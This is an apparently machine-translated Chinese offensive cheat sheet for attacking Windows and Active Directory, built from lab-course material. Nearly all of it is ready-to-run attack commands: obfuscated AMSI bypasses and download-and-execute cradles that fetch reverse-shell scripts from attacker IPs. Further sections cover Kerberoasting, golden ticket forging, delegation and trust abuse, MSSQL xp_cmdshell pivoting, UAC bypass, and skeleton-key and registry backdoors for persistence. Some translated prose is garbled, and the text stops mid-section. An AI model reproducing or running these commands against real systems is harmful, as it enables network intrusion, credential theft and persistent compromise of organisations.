Windows和Active Directory备忘单和命令参考

Windows和Active Directory备忘单和命令参考

General

PowerShell AMSI Bypass

修补AMSI将有助于绕过执行标记为恶意的PowerShell脚本(例如PowerView)时触发的AV警告。请勿在秘密操作中按原样使用,因为它们会被标记flag。通过更改脚本以胜过基于签名的检测,可以混淆甚至更好地完全消除AMSI绕过的需要。

‘Plain’ AMSI bypass:

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

用于复制粘贴的混淆示例:

1
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

另一个旁路,PowerShell自动记录未检测到:

1
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

更多绕过点击这里。对于混淆,请检查Invoke-Obfuscation,或在amsi.fail上获取预先生成的混淆版本。

PowerShell one-liners

反射式加载PowerShell脚本

代理感知:

1
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

不了解代理:

1
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

同样,这可能会被标记flag。有关opsec安全的下载通讯座,请查看Invoke-CradleCrafter

反射式加载C#程序集

在运行该类之前,请确保所引用的类和main方法为Public。请注意,为此可能需要全过程的AMSI旁路,有关详细信息请参见此处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())

# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

下载文件

1
2
3
4
5
6
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")

# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Incnspc64.exe"

编码命令

编码一线:

1
2
3
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

或以上版本的Linux:

1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0

对现有脚本进行编码,然后复制到剪贴板:

1
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip

运行它,绕过执行策略。

1
Powershell -EncodedCommand $encodedCommand

如果您方便使用Nishang,则可以使用Invoke-Encode.ps1

枚举

使用PowerView进行AD枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 获取当前域中的所有用户
Get-NetUser | select -ExpandProperty cn

# 获取当前域中的所有计算机
Get-NetComputer

# 获取当前林中的所有域
Get-NetForestDomain

# 获取域/林信任
Get-NetDomainTrust
Get-NetForestTrust

# 获取DA组的信息
Get-NetGroup -GroupName "Domain Admins"

# 查找DA组的成员
Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername

# 在域中查找有趣的共享,忽略默认共享
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC

# 获取当前域的OU
Get-NetOU -FullData

# 在OU中获取计算机
# %{} 是循环语句
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}

# 获取适用于特定OU的GPO
Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# 获取通过GPO设置的受限组,查找通过域强制设置的有趣组成员身份
Get-NetGPOGroup

# 获取特定对象的传入ACL
Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# 查找整个域的有趣ACL,以可读(从左到右)格式显示
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# 获取特定用户或组的有趣的传出ACL
# ?{} 是一个过滤器语句
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

AppLocker

识别AppLocker策略。寻找免除的二进制文件或要绕过的路径。

1
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
  • 一些高级绕过技术:
    • 如果仅允许使用(Microsoft)签名的二进制文件,请使用LOLBAS
    • 如果C:\Windows允许来自的二进制文件,请尝试将您的二进制文件拖放到C:\Windows\TempC:\Windows\Tasks。如果此目录树中没有可写的子目录,但存在可写文件,则将文件写入备用数据流(例如JScript脚本),然后从那里执行它。
    • 将您的二进制文件包装在DLL文件中,然后执行rundll32以绕过可执行规则。如果允许使用Python之类的二进制文件,请使用该文件。如果这不起作用,请尝试其他技术,例如将JScript包装在HTA文件中或使用来运行XSL文件wmic

PowerShell受限语言模式

有时,您可能会发现自己处于执行约束语言模式(CLM)的PowerShell会话中。与AppLocker配对时,通常是这种情况(请参见上文)。

您可以通过轮询以下变量来获取当前的语言模式,从而确定自己处于受限语言模式。FullLanguage对于无限制的会话和ConstrainedLanguageCLM ,它将说。还有其他语言模式,在这里我将不再赘述。

1
$ExecutionContext.SessionState.LanguageMode

CLM构成的约束将阻止您的许多利用尝试。一种快速而肮脏的绕过方法是使用内联函数,该函数有时会起作用-如果例如whoami被阻止,请尝试以下操作:

1
&{whoami}

LAPS

我们可以使用LAPSToolkit.ps1来识别域中的哪些计算机使用LAPS,以及允许哪些域组读取LAPS密码。如果属于此组,则也可以使用此工具获取当前的LAPS密码。

1
2
3
4
5
# 获取运行LAPS的计算机及其密码(如果允许我们读取这些密码)
Get-LAPSComputers

# 获取允许读取LAPS密码的组
Find-LAPSDelegatedGroups

Exploitation

Powercat反向shell

如果您的Linux机壳没有反向外壳,则可以选择;)。

1
powercat -l -p 443 -t 9999

横向运动

使用PowerView进行横向运动枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 查找用户的现有本地管理员访问权限(noisy 🚩)
Find-LocalAdminAccess

# 通过PS远程处理(also noisy🚩)查找本地管理员访问权限,需要Find-PSRemotingLocalAdminAccess.ps1
Get-NetComputer -Domain dollarcorp.moneycorp.local > .\targets.txt
Find-PSRemotingLocalAdminAccess -ComputerFile .\targets.txt dcorp-std355

# 与WMI相同。是否需要“ Find-WMILocalAdminAccess.ps1”(似乎已从Nishang中删除了)?
Find-WMILocalAdminAccess -ComputerFile .\targets.txt
Find-WMILocalAdminAccess # Finds domain computers automatically

# 在您可以访问的机器上搜寻有趣的用户会话 (still noisy 🚩)
Invoke-UserHunter -CheckAccess | ?{$_.LocalAdmin -Eq True }

# 寻找 kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname

# 寻找 AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name

# 寻找可以设置UserAccountControl标志的用户
## 如果可用-禁用预身份验证或添加SPN(请参见下文)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# 查找启用了无限制委派的服务器
## 如果可用,并且您在此服务器上具有管理员权限,请获取用户TGT(请参见下文)
Get-DomainComputer -Unconstrained

# 查找启用了约束委派的用户或计算机
## 如果可用,并且您具有用户/计算机哈希,请以DA身份访问服务机(请参见下文)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

BloodHound

使用Invoke-BloodHoundfromSharpHound.ps1或use SharpHound.exe。两者都可以反思地运行,把它们放到这里

1
2
3
4
5
# 如果您不关心OpSec,请运行所有检查🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts 🚩
Invoke-BloodHound -CollectionMethod LoggedOn

Kerberoasting

Automatic

使用PowerView:

1
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

使用Hashcat破解哈希:

1
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Manual

1
2
3
4
5
6
7
8
9
# 请求TGS进行kerberoastable帐户(SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

# 将TGS转储到磁盘
Invoke-Mimikatz -Command '"kerberos::list /export"'

# 使用TGSRepCrack破解
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi

Targeted kerberoasting by setting SPN

我们需要ACL写入权限才能为该用户设置UserAccountControl标志,有关搜索,请参见上文。使用PowerView:

1
Set-DomainObject -Identity support355user -Set @{serviceprincipalname='any/thing'}

AS-REP roasting

获取可焙烤用户的哈希(有关搜索,请参见上文)。使用ASREPRoast.ps1

1
Get-ASREPHash -UserName VPN355user

使用Hashcat破解哈希:

1
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

通过禁用Kerberos预身份验证进行有针对性的AS-REP漫游

我们需要ACL写入权限才能为该用户设置UserAccountControl标志,有关搜索,请参见上文。使用PowerView。

1
Set-DomainObject -Identity Control355User -XOR @{useraccountcontrol=4194304}

Token Manipulation

可以通过计算机上的会话/运行进程从其他用户模仿令牌。通过使用例如CobaltStrike注入到所述过程中可以实现类似的效果。

Incognito

1
2
3
4
5
# 在机器上显示令牌
.\incognito.exe list_tokens -u

# 使用特定用户的令牌启动新过程
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe

如果您使用Meterpreter,则可以将内置的Incognito模块与一起使用,可以使用use incognito相同的命令。

Invoke-TokenManipulation

1
2
3
4
5
6
7
8
9
10
11
# 显示机器上的所有令牌
Invoke-TokenManipulation -ShowAll

# 仅在机器上显示唯一的,可用的令牌
Invoke-TokenManipulation -Enumerate

# 使用特定用户的令牌启动新过程
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

# 使用另一个进程的令牌启动新进程
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500

Mimikatz

1
2
3
4
5
6
7
8
# Overpass the hash
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:[NTLMHASH] /run:powershell.exe

# 黄金票据 (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# 白银票据 for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.domain.local /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

可在此处找到用于银票的可用SPN列表。这里提供与攻击相关的SPN的另一个不错的概述。

使用schtasks执行命令

需要“主机” SPN

创建任务:

1
2
# 注意引号。如果引用变得很痛苦,请使用编码的命令。
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dcorp-dc.dollarcorp.moneycorp.local /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

触发它:

1
schtasks /RUN /TN "shell" /s dcorp-dc.dollarcorp.moneycorp.local

使用WMI执行命令

需要“主机”和“ RPCSS” SPN

Windows

1
Invoke-WmiMethod win32_process -ComputerName dcorp-dc.dollarcorp.moneycorp.local -name create -argumentlist "powershell.exe -e $encodedCommand"

Linux

1
2
3
4
5
# 使用password
impacket-wmiexec dcorp/student355:password@172.16.4.101

# 使用hash
impacket-wmiexec dcorp/student355@172.16.4.101 -hashes :92F4AE6DCDAC7CF870B79F1758503D54

使用PowerShell Remoting执行命令

需要“ CIFS”,“ HTTP”和“ WSMAN” SPN

这个有点棘手。上述SPN的组合可能有效或无效-PowerShell也可能要求提供准确的FQDN。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 创建凭据以其他用户身份运行(如果需要,PTT不需要)
# 如果不使用以下命令,请在以下命令中忽略-Credential $ Cred
$SecPassword = ConvertTo-SecureString 'thePassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('CORP\username', $SecPassword)

# 远程运行命令(可以一对多使用!)
Invoke-Command -Credential $Cred -ComputerName $computer -ScriptBlock {whoami; hostname}

# 以其他用户身份启动会话(提示输入密码)
Enter-PsSession -Credential $Cred -ComputerName $computer -Credential dcorp\Administrator

# 创建一个持久会话(将记住变量等),将脚本加载到该会话中,然后输入远程会话提示
$sess = New-PsSession -Credential $Cred
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess

# 在活动的PowerShell远程会话之间复制文件或从中复制文件
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess2 -Destination "C:\Users\dbprodadmin\documents\"

不受限制的委托

可以在前端服务(例如IIS Web服务器)上设置,以允许它代表用户委派域中的任何服务(向后端服务(例如MSSQL数据库))。

DACL UAC属性: TrustedForDelegation.

Exploitation

在设置了无限制委派的服务器上具有管理特权时,我们可以为具有连接的其他用户转储TGT。使用Mimikatz:

1
2
sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi

或与Rubeus一起使用

1
2
3
.\Rubeus.exe klist
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]

如果该DC容易受到打印机错误的影响,我们还可以获得域控制器计算机帐户的哈希值。在具有无限制委派的服务器上,使用Rubeus监视新票证。

1
.\Rubeus.exe monitor /interval:5 /nowrap

从攻击机上诱使域控制器使用打印机错误进行连接。从这里二进制。

1
.\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local

DC的机器帐户的TGT应该在第一个会话中出现。我们可以传递此票证以获得DCSync特权。

1
.\Rubeus.exe ptt /ticket:doIFxTCCBc...

约束委派

可以在前端服务器(例如IIS)上设置约束委派,以允许它代表用户委派给选定的后端服务(例如MSSQL)。

DACL UAC属性:TrustedToAuthForDelegation。这允许s4u2self(即,仅使用NTLM密码哈希值)代表任何人自己请求TGS 。这有效地允许该服务仅使用他们的哈希来模拟域中的其他用户,并且在用户和前端之间不使用Kerberos的情况下非常有用。

DACL属性:msDS-AllowedToDelegateTo。此属性包含允许在其上使用的SPN s4u2proxy,即基于现有TGS(例如,从中使用所获得的TGS)请求该服务器的可转发TGS s4u2self。这有效地定义了允许委派委派的后端服务。

注意:这些属性不一定必须并存!如果s4u2proxy不允许使用s4u2self,则需要用户交互才能从用户获得有效的TGS到前端服务,类似于无约束委派。

Exploitation

在这种情况下,我们使用Rubeus自动请求TGT,然后使用带有ldapSPN的TGS,以允许我们使用计算机帐户进行DCSync。

1
2
3
4
5
6
7
8
# Get a TGT using the compromised service account with delegation set (if needed)
.\Rubeus.exe asktgt /user:sa_with_delegation /domain:domain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt

# Same as above, but access the LDAP service on the DC (for dcsync) using pw hash
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

基于资源的约束委派

基于资源的约束委派(RBCD)将后端服务器(例如MSSQL)配置为允许选定的前端服务(例如IIS)代表用户进行委派。这使特定的服务器管理员可以更轻松地配置委派,而无需域管理员权限。

DACL属性:msDS-AllowedToActOnBehalfOfOtherIdentity

在这种情况下,s4u2self并且和s4u2proxy一样用于代表用户请求可转发票证。但是,使用RBCD,KDC会检查后端服务的属性中是否存在用于请求服务(即前端服务)的SPN 。这意味着前端服务需要设置SPN。因此,必须从具有SPN的服务帐户或计算机帐户对RBC进行攻击。msDS-AllowedToActOnBehalfOfOtherIdentity

Exploitation

如果我们损害出现在后端服务的RBCD属性中的前端服务,则利用与上面的受约束委派相同。但是,这不太常见。

更经常看到攻击RBCD是当我们有GenericWriteGenericAllWriteProperty,或WriteDACL许可在域中的计算机对象。这意味着我们可以msDS-AllowedToActOnBehalfOfOtherIdentity在该计算机帐户上写入属性,以添加受信任的SPN或计算机帐户以进行委派。我们甚至可以创建一个新的计算机帐户并添加它。就像上面的约束委派一样,这使我们可以在任何用户的上下文中破坏目标计算机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount InconspicuousMachineAccount -Password $(ConvertTo-SecureString 'Compromised123!' -AsPlainText -Force)

# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity InconspicuousMachineAccount -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv01 | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes}

# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4:3644AC5E3D9441CCBCEF08CBAF98E910 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv01.corp1.com /ptt

滥用域信任

必须以DA特权运行。

使用域信任密钥

从DC中,currentdomain\targetdomain$使用Mimikatz(例如,使用LSADumpDCSync)转储信任帐户的哈希。然后,使用此信任密钥和域SID,使用Mimikatz伪造一个跨域TGT,将目标域的企业管理员组的SID添加到我们的“ SID history”中。

1
kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi

使用Rubeus.

确保您具有正确的Rubeus版本。由于某些原因,我的某些编译二进制文件给出了错误KDC_ERR_WRONG_REALM,而CRTP提供的版本可以正常工作。

1
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

现在,我们可以DCSync目标域(请参见下文)。

使用krbtgt哈希

F从DC中,使用DCSync或LSADump转储krbtgt哈希。然后,像以前的方法一样,使用此哈希,使用Mimikatz伪造一个跨域TGT。

使用SID历史(/sids的)*-516S-1-5-9以伪装的域控制器组和企业域控制器分别是在日志中的噪声低。

1
kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:dcorp-dc$ /groups:516 /ptt

如果您在创建此票证时遇到问题,请尝试添加“ target”标志,例如/target:moneycorp.local.

或者,生成具有EA组的SID历史记录的域管理员票证。

1
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

现在,我们可以立即DCSync目标域,或使用计划任务获取反向shell。

滥用林间信任

由于林是安全边界,因此我们只能访问已与我们入侵的域(我们的源域)共享的域服务。使用例如BloodHound查找在两个林中都具有帐户(具有相同用户名)的用户,然后尝试重用密码。此外,我们可以使用PowerView来搜寻林之间的外部组成员身份。

1
Get-DomainForeignGroupMember -domain corp2.com

在某些情况下,可能会在林之间禁用SID过滤(导致上述情况的保护)。如果您运行Get-DomainTrust并看到该TREAT_AS_EXTERNAL属性,便是这种情况!在这种情况下,如上所述,您可以像域信任一样滥用目录林信任。请注意,您仍然可以伪造车票500和1000之间的任何SID的,所以你不能成为DA(甚至没有间接通过组继承)。在这种情况下,寻找在域控制器上授予本地管理员或类似非域特权的组。有关更多信息,请参阅此博客文章

要模拟来自我们源域的用户以访问外部域中的服务,我们可以执行以下操作。如上述“使用域信任密钥”中那样提取林间信任密钥。

使用Mimikatz通过信任密钥为目标域生成TGT:

1
Kerberos::golden /user:Administrator /service:krbtgt /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:eurocorp.local /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:eucorp-tgt.kirbi

然后,使用RubeusCIFS使用该TGT向TGS询问例如目标DC上的服务。

1
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

现在,我们可以将目标林的DC上的CIFS服务用作源域的DA(同样,只要此信任关系已配置为存在)。

滥用MSSQL数据库进行横向移动

可以链接MSSQL数据库,这样,如果您破坏了一个数据库,则可以在特定用户(sa也许是)的上下文中对其他数据库执行查询(甚至命令!)。这甚至可以跨森林工作!如果执行SQL,则可以使用以下命令枚举数据库链接。

1
2
3
4
5
6
7
8
9
10
-- 查找链接的服务器
EXEC sp_linkedservers

-- 在链接服务器上运行SQL查询
select mylogin from openquery("dc01", 'select SYSTEM_USER as mylogin')

-- 在远程服务器上启用“ xp_cmdshell”并执行命令
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT DC01
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT DC01
EXEC ('xp_cmdshell ''whoami'' ') AT DC01

我们还可以使用PowerUpSQL在域中查找数据库,并收集有关(可达)数据库的更多信息。我们还可以自动在链接的数据库中查找并执行查询或命令(甚至通过多层数据库链接)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 获取域中的MSSQL数据库,并测试连通性
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# 尝试获取所有域数据库上的信息
Get-SQLInstanceDomain | Get-SQLServerInfo

# 在单个可访问的数据库上获取信息
Get-SQLServerInfo -Instance dcorp-mssql

# 扫描MSSQL错误配置以升级到SA
Invoke-SQLAudit -Verbose -Instance UFC-SQLDEV

# 执行SQL查询
Get-SQLQuery -Query "SELECT system_user" -Instance UFC-SQLDEV

# 运行命令(需要启用XP_CMDSHELL)
Invoke-SQLOSCmd -Instance devsrv -Command "whoami" | select -ExpandProperty CommandResults

# 自动查找所有链接的数据库
Get-SqlServerLinkCrawl -Instance dcorp-mssql | select instance,links | ft

# 如果在任何链接的数据库上启用了XP_CMDSHELL,则运行命令
Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

如果您具有对MSSQL数据库的低特权访问权限,并且不存在任何链接,则有可能通过使用xp_dirtree存储过程访问此共享来强制执行NTLM身份验证。如果成功,则可以收集SQL服务帐户的NetNTLM,并可能将其破解或中继,以破坏作为该服务帐户的计算机。

1
EXEC master..xp_dirtree "\\192.168.49.67\share"

中继哈希以通过身份验证为本地admin的示例命令(如果服务帐户具有这些特权)并运行calc.exe。忽略该-c参数尝试尝试secretsdump

1
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'

特权提升

有关更多信息(包括Windows和Linux),请参阅我的OSCP备忘单和命令参考

PowerUp

1
2
3
4
5
6
7
8
9
10
# 检查易受攻击的程序和配置
Invoke-AllChecks

# 利用易受攻击的服务权限(不需要触摸磁盘)
Invoke-ServiceAbuse -Name "AbyssWebServer" -Command "net localgroup Administrators domain\user /add"

# 利用易受攻击的服务权限触发稳定的beacon
Write-ServiceBinary -Name 'AbyssWebServer' -Command 'c:\windows\system32\rundll32 c:\Users\Student355\Downloads\go_dll_rtl_x64.dll,Update' -Path 'C:\WebServer\Abyss'
net stop AbyssWebServer
net start AbyssWebServer

Bypass UAC

使用SharpBypassUAC

1
2
3
4
5
# 生成EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64

# 使用 SharpBypassUAC e.g. 从CobaltStrike 的一个beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

在某些情况下,运行手动Bypass UAC (例如FODHelper bypass)可能会变得更好,而FODHelper旁路在PowerShell中执行起来非常简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"

# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force

# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Persistence

启动文件夹

只需删除一个二进制文件即可。经典😎🚩

在当前用户文件夹中,将在当前用户登录时触发:

1
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

或在启动文件夹中,需要管理特权,但在启动时以及任何用户登录时将以SYSTEM身份触发:

1
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

域持久性

必须以DA特权运行。

Mimikatz万能钥匙攻击

从DC运行。为所有用户🚩启用密码“ mimikatz”。

1
2
privilege::debug
misc::skeleton

使用PowerView授予特定的用户DCSync权限

随时为您提供用户选择的DCSync权限。在某些设置中可能会逃避检测。

1
Add-ObjectACL -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName student355 -Rights DCSync

域控制器DSRM管理员

DSRM管理员是DC的本地管理员帐户。首先需要启用远程登录。

1
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

现在,我们可以使用之前转储在DC上的本地管理哈希值远程登录(使用lsadump::sam,请参见下面的“使用Mimikatz转储秘密”)。使用例如“越过哈希”来获得会话(请参见上面的“ Mimikatz”)。

修改安全描述符以进行远程WMI访问

使用Set-RemoteWMI.ps1cmdlet向用户WMI访问计算机。可以运行以持久访问例如DC。

1
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2'

有关执行,请参见上面的“使用WMI执行命令”。

修改PowerShell远程访问的安全描述符

使用Set-RemotePSRemoting.ps1cmdlet向用户PowerShell远程访问计算机。可以运行以持久访问例如DC。

1
Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local

有关执行,请参见上面的“使用PowerShell Remoting执行命令”。

修改DC注册表安全描述符以使用DAMP进行远程哈希检索

使用DAMP工具,我们就可以借壳DC注册表来给我们上的访问SAMSYSTEM以及SECURITY注册表配置单元。这使我们能够远程转储DC机密(哈希)。

我们使用Add-RemoteRegBackdoor.ps1来自DAMP的cmdlet添加后门。

1
